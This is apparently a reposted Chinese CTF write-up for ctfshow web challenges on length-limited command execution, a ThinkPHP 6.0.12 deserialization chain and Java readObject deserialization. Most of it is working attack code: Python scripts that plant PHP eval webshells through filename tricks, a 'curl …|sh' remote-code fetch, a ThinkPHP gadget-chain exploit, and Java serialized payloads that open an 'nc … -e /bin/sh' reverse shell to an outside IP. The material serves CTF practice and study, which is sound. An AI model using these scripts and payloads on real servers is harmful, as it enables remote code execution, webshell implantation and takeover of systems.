- time.sleep(1)
-
-
- def check():
- response = requests.get(url + "1.php")
- if response.status_code == requests.codes.ok:
- print("[*] Attack success!!!Webshell is " + url + "1.php")
-
-
- def main():
- run()
- check()
-
-
- if __name__ == '__main__':
- main()
用/1.php?1=eval($_POST[1]);转接post连蚁剑(最好用linux的)
连接成功后右键数据操作,弱口令root连数据库
随便翻一翻找到flag
7字符不可写(web目录不可写)
怎么缩也不可能7字以内外带的吧,只能思考是不是执行临时文件之类的
脚本:
- import requests
- url="http://b5c4ec71-c6bd-4e47-97a9-404d5de7cc69.challenge.ctf.show/"
- file={'file':'nc 124.222.136.33 1337 -e /bin/sh'}
- r= requests.post(url,files=file,data={'cmd':'. /t*/*'})
这里主要是用.+文件名执行命令支持通配符,可以大大缩短长度
5字符可写,有dir命令
思路就是:
将index.php变成.php
将临时文件打包到当前目录
使用php执行tar压缩包(虽然前面有tar的字节,但是php代码的明文保存了下来,方便php直接执行)
脚本:
- import requests
- import time
-
- url = "http://6c59c312-ca0d-488a-9e79-b26653603274.challenge.ctf.show/"
- url_2 = url+".php"
- delay = 1
-
- chagneFile_payload=[
- '>cp',
- '>k',
- '*',
- 'rm cp',
- '>pc',
- '>dir',
- '*>v',
- '>rev',
- '*v>z',
- 'rm v',
- 'rm k',
- 'rm z',
- 'rm pc',
- 'rm *v',
- '>php.',
- '>j\\#',
- '>vm',
- '*>v',
- '>rev',
- '*v>z',
- 'sh z'
- ]
-
- clearFile_payload=[
- 'rm d*',
- 'rm j*',
- 'rm p*',
- 'rm r*',
- 'rm v*',
- 'rm z'
- ]
-
- shell_payload=[
- '>tar',
- '>vcf',
- '>z'
- ]
-
- file={
- 'file':b'<?php file_put_contents("1.php","<?php eval(\\$_POST[1]);?>");?>'
- }
-
-
- def changeFile():
- for p in chagneFile_payload:
- sendPayload(url,p)
- print("[*] create "+p.strip())
- time.sleep(delay)
-
- def clearFile():
- for p in clearFile_payload:
- sendPayload(url_2,p)
- print("[*] create "+p.strip())
- time.sleep(delay)
-
- def getshell():
- for p in shell_payload:
- sendPayload(url_2,p)
- print("[*] create "+p.strip())
- time.sleep(delay)
- data={
- "cmd":"* /t*"
- }
- requests.post(url_2,data=data,files=file)
- data={
- "cmd":"php z"
- }
- requests.post(url_2,data=data)
-
- def checkShell():
- response = requests.get(url+"1.php")
- if response.status_code == requests.codes.ok:
- print("[*] Attack success!!!Webshell is "+url+"1.php")
-
- def sendPayload(url,payload):
- data={
- "cmd":payload
- }
- requests.post(url,data=data)
-
-
-
- def run():
- changeFile()
- clearFile()
- getshell()
- checkShell()
-
- def main():
- run()
-
- if __name__ == '__main__':
- main()
5字符可写无dir命令
匹配了所有带h的行,将其重新写到index.php中,有点对敌特攻的意思(
脚本:
- import requests
- import time
-
- url = "http://b024a2bc-8ec6-4e70-bbee-13cb62f358e4.challenge.ctf.show/"
-
- payload=[
- ">grep",
- ">h",
- "*>j",
- "rm g*",
- "rm h*",
- ">cat",
- "*>>i",
- "rm c*",
- "rm j",
- ">cp",
- "*"
- ]
-
- def writeFile(payload):
- data={
- "cmd":payload
- }
- requests.post(url,data=data)
-
- def run():
- for p in payload:
- writeFile(p.strip())
- print("[*] create "+p.strip())
- time.sleep(0.5)
- print("[*] Attack success!!!Webshell is "+url)
-
- def main():
- run()
-
- if __name__ == '__main__':
- main()
执行后是这种效果,可以绕过长度限制为所欲为了
4字符,可写,有dir
linux中dir和ls的区别:都是将当前目录的文件和文件夹按照顺序列出在同一行,但是ls经过管道或重定向后,结果是换行的,而dir经过管道或重定向后,见过是不换行的。
如果用ls拼接命令,在保证顺序的基础上,需要在每行后面加一个\来拼接下一行的命令
用dir命令就不需要\来拼接,只要保证顺序正确就行
只打一个*执行命令的原理:举个例子,当文件夹下面有ls m n o p q文件时,只执行一个*就等效于执行ls m n o p q这个命令,把第一个作为命令,后面的作为参数。再有,如果一个目录下有rev v两个文件,执行一个*v就相当于执行rev v,将v文件的内容逆序输出
脚本:
- import requests
- import time
-
- url = "http://999c346d-7b65-48e1-9db5-593b36c0a736.challenge.ctf.show/"
-
- payload = [
- '>sl',
- '>kt-',
- '>j\\>',
- '>j\\#',
- '>dir',
- '*>v',
- '>rev',
- '*v>x',
- '>php',
- '>a.\\',
- '>\\>\\',
- '>-d\\',
- '>\\ \\',
- '>64\\',
- '>se\\',
- '>ba\\',
- '>\\|\\',
- '>4=\\',
- '>Pz\\',
- '>k7\\',
- '>XS\\',
- '>sx\\',
- '>VF\\',
- '>dF\\',
- '>X0\\',
- '>gk\\',
- '>bC\\',
- '>Zh\\',
- '>ZX\\',
- '>Ag\\',
- '>aH\\',
- '>9w\\',
- '>PD\\',
- '>S}\\',
- '>IF\\',
- '>{\\',
- '>\\$\\',
- '>ho\\',
- '>ec\\',
- 'sh x',
- 'sh j'
- ]
-
- def writeFile(payload):
- data={
- "cmd":payload
- }
- requests.post(url,data=data)
-
- def run():
- for p in payload:
- writeFile(p.strip())
- print("[*] create "+p.strip())
- time.sleep(0.3)
-
- def check():
- response = requests.get(url+"a.php")
- if response.status_code == requests.codes.ok:
- print("[*] Attack success!!!Webshell is "+url+"a.php")
-
- def main():
- run()
- check()
-
- if __name__ == '__main__':
- main()
x文件内容
ls -tk >j #j php.xedni
j内容就是一个base64的逆序
成功写shell,/a.php?1=eval($_POST[1]);继续post转接,蚁剑连shell看数据库
4字符,可写,无dir,可出网
http://2030350346已经寄了,这个得自己搭一个恶意代码的服务器
建议用web827的脚本来打,通用性更强(
- import requests
- import time
-
- url = "http://b6902616-877f-4ea3-8033-a562c3891238.challenge.ctf.show/"
-
- payload = [
- '>\\ \\',
- '>-t\\',
- '>\\>a',
- '>ls\\',
- 'ls>v',
- '>mv',
- '>vt',
- '*v*',
- '>ls',
- 'l*>t',
- '>cat',
- '*t>z',
-
- #curl 2030350346|sh
- #echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
- '>sh',
- '>\\|\\',
- '>46\\',
- '>03\\',
- '>35\\',
- '>30\\',
- '>20\\',
- '>\\ \\',
- '>rl\\',
- '>cu\\',
-
- 'sh z',
- 'sh a',
- ]
- def writeFile(payload):
- data={
- "cmd":payload
- }
- requests.post(url,data=data)
-
- def run():
- for p in payload:
- writeFile(p.strip())
- print("[*] create "+p.strip())
- time.sleep(1)
-
- def check():
- response = requests.get(url+"1.php")
- if response.status_code == requests.codes.ok:
- print("[*] Attack success!!!Webshell is "+url+"1.php")
-
- def main():
- run()
- check()
-
- if __name__ == '__main__':
- main()
4字符,可写、无dir,不出网
最少可以在4字符无dir的环境下拼接ls -t
当空格不够用时可以用$IFS,但是要注意命令部分不能有重复的字符组合
getshell的方式有很多种,需要根据环境来选择,如wget,curl,强制文件上传,无外网情况下getshell
脚本:
- import requests
- import time
-
- url = "http://9664b651-d71a-423a-94c4-6389e13273fb.challenge.ctf.show/"
-
- payload = [
- '>\\ \\',
- '>-t\\',
- '>\\>a',
- '>ls\\',
- 'ls>v',
- '>mv',
- '>vt',
- '*v*',
- '>ls',
- 'l*>t',
- '>cat',
- '*t>z',
-
- '>php',
- '>a.\\',
- '>\\>\\',
- '>-d\\',
- '>\\ \\',
- '>64\\',
- '>se\\',
- '>ba\\',
- '>\\|\\',
- '>4=\\',
- '>Pz\\',
- '>k7\\',
- '>XS\\',
- '>sx\\',
- '>VF\\',
- '>dF\\',
- '>X0\\',
- '>gk\\',
- '>bC\\',
- '>Zh\\',
- '>ZX\\',
- '>Ag\\',
- '>aH\\',
- '>9w\\',
- '>PD\\',
- '>S}\\',
- '>IF\\',
- '>{\\',
- '>\\$\\',
- '>ho\\',
- '>ec\\',
-
-
- 'sh z',
- 'sh a'
- ]
-
- def writeFile(payload):
- data={
- "cmd":payload
- }
- requests.post(url,data=data)
-
- def run():
- for p in payload:
- writeFile(p.strip())
- print("[*] create "+p.strip())
- time.sleep(1)
-
- def check():
- response = requests.get(url+"a.php")
- if response.status_code == requests.codes.ok:
- print("[*] Attack success!!!Webshell is "+url+"a.php")
-
- def main():
- run()
- check()
-
- if __name__ == '__main__':
- main()
国赛TP6的反序列化
ThinkPHP V6.0.12LTS,顺着版本号嘎嘎找
ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户
题目源码拿到反序列化入口
构造exp:
- <?php
- namespace think{
- abstract class Model{
- private $lazySave = false;
- private $data = [];
- private $exists = false;
- protected $table;
- private $withAttr = [];
- protected $json = [];
- protected $jsonAssoc = false;
- function __construct($obj = ''){
- $this->lazySave = True;
- $this->data = ['whoami' => ['cat /f*']];
- $this->exists = True;
- $this->table = $obj;
- $this->withAttr = ['whoami' => ['system']];
- $this->json = ['whoami',['whoami']];
- $this->jsonAssoc = True;
- }
- }
- }
- namespace think\model{
- use think\Model;
- class Pivot extends Model{
- }
- }
-
- namespace{
- echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
- }
bp发包
题目附件:
- package com.ctfshow.controller;
-
- @Controller
- @RequestMapping("/")
- public class IndexController {
-
- @RequestMapping(value = "/",method = RequestMethod.POST)
- @ResponseBody
- public String index(HttpServletRequest request){
- User user=null;
- try {
- byte[] userData = Base64.getDecoder().decode(request.getParameter("userData"));
- ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(userData));
- user = (User) objectInputStream.readObject();
- }catch (Exception e){
- return "base64 decode error";
- }
-
- return "unserialize done, you username is "+user.getName();
- }
-
- @RequestMapping(value = "/",method = RequestMethod.GET)
- @ResponseBody
- public String index(){
- return "plz post parameter 'userData' to unserialize";
- }
- }
-
-
- package com.ctfshow.entity;
-
- public class User implements Serializable {
-
- private static final long serialVersionUID = -3254536114659397781L;
- private String username;
-
- public User(String username) {
- this.username = username;
- }
-
- public String getName(){
- return this.username;
- }
-
- private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
- in.defaultReadObject();
- Runtime.getRuntime().exec(this.username);
- }
- }
User的readObject方法直接命令执行了
这不是白送
exp类
- package com.ctfshow.entity;
-
- import java.io.ByteArrayOutputStream;
- import java.io.IOException;
- import java.io.ObjectOutput;
- import java.io.ObjectOutputStream;
- import java.util.Base64;
-
- public class exp {
- public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
- User user = new User("nc 124.222.136.33 1337 -e /bin/sh");
- serialize(user);
- }
- public static void serialize(Object obj) throws IOException, IOException {
- ByteArrayOutputStream data =new ByteArrayOutputStream();
- ObjectOutput oos =new ObjectOutputStream(data);
- oos.writeObject(obj);
- oos.flush();
- oos.close();
- System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
- };
-
- }
User类
- package com.ctfshow.entity;
-
- import java.io.IOException;
- import java.io.ObjectInputStream;
- import java.io.Serializable;
-
- public class User implements Serializable {
-
- private static final long serialVersionUID = -3254536114659397781L;
- private String username;
-
- public User(String username) {
- this.username = username;
- }
-
- public String getName(){
- return this.username;
- }
-
- private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
- in.defaultReadObject();
- Runtime.getRuntime().exec(this.username);
- }
- }
payload:
userData=rO0ABXNyABdjb20uY3Rmc2hvdy5lbnRpdHkuVXNlctLVkKWhC+9rAgABTAAIdXNlcm5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAIW5jIDEyNC4yMjIuMTM2LjMzIDEzMzcgLWUgL2Jpbi9zaA==
监听,反弹shell
这次恶意readObject方法在父类
构造exp:
- package com.ctfshow.entity;
-
- import java.io.ByteArrayOutputStream;
- import java.io.IOException;
- import java.io.ObjectOutput;
- import java.io.ObjectOutputStream;
- import java.util.Base64;
-
- public class exp {
- public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
- User user = new User("Z3r4y");
- user.secret="nc 124.222.136.33 1337 -e /bin/sh";
- serialize(user);
- }
- public static void serialize(Object obj) throws IOException, IOException {
- ByteArrayOutputStream data =new ByteArrayOutputStream();
- ObjectOutput oos =new ObjectOutputStream(data);
- oos.writeObject(obj);
- oos.flush();
- oos.close();
- System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
- };
-
- }
监听,反弹shell
题目把User类ban了,问题不大,我们直接反序列化BaseUser类
利用readObject方法来实现代码执行是在生成完整对象前利用,即对象生成后不再使用,只是借用生成对象时调用readObject方法来达成命令执行的效果
如果父类存在可利用的readObject方法,那么既可以反序列化子类,也可以反序列化父类,都可以调用父类的readObject方法,即使报错类型转换异常,因为readObject方法已经被调用,我们的目的也已达到。
- package com.ctfshow.entity;
-
- import java.io.ByteArrayOutputStream;
- import java.io.IOException;
- import java.io.ObjectOutput;
- import java.io.ObjectOutputStream;
- import java.util.Base64;
-
- public class exp {
- public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
- BaseUser baseUser = new BaseUser();
- baseUser.secret="nc 124.222.136.33 1337 -e /bin/sh";
- serialize(baseUser);
- }
- public static void serialize(Object obj) throws IOException, IOException {
- ByteArrayOutputStream data =new ByteArrayOutputStream();
- ObjectOutput oos =new ObjectOutputStream(data);
- oos.writeObject(obj);
- oos.flush();
- oos.close();
- System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
- };
-
- }
监听,反弹shell
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。